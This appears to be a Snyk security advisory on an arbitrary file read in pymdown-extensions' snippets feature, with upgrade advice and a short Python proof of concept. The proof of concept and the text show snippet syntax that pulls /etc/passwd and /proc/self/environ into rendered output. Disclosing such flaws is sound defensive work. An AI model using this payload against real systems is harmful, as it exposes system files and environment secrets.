Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade pymdown-extensions
to version 10.0 or higher.
pymdown-extensions is an Extension pack for Python Markdown.
Affected versions of this package are vulnerable to Arbitrary File Read due to improper sanitization of file syntax passed via the get_snippet_path
function.
when using the syntax --8<--"/etc/passwd"
or --8<--"/proc/self/environ"
the content of these files will be rendered in the generated documentation.
import markdown
payload = "--8<-- \"/etc/passwd\""
html = markdown.markdown(payload, extensions=['pymdownx.snippets'])
print(html)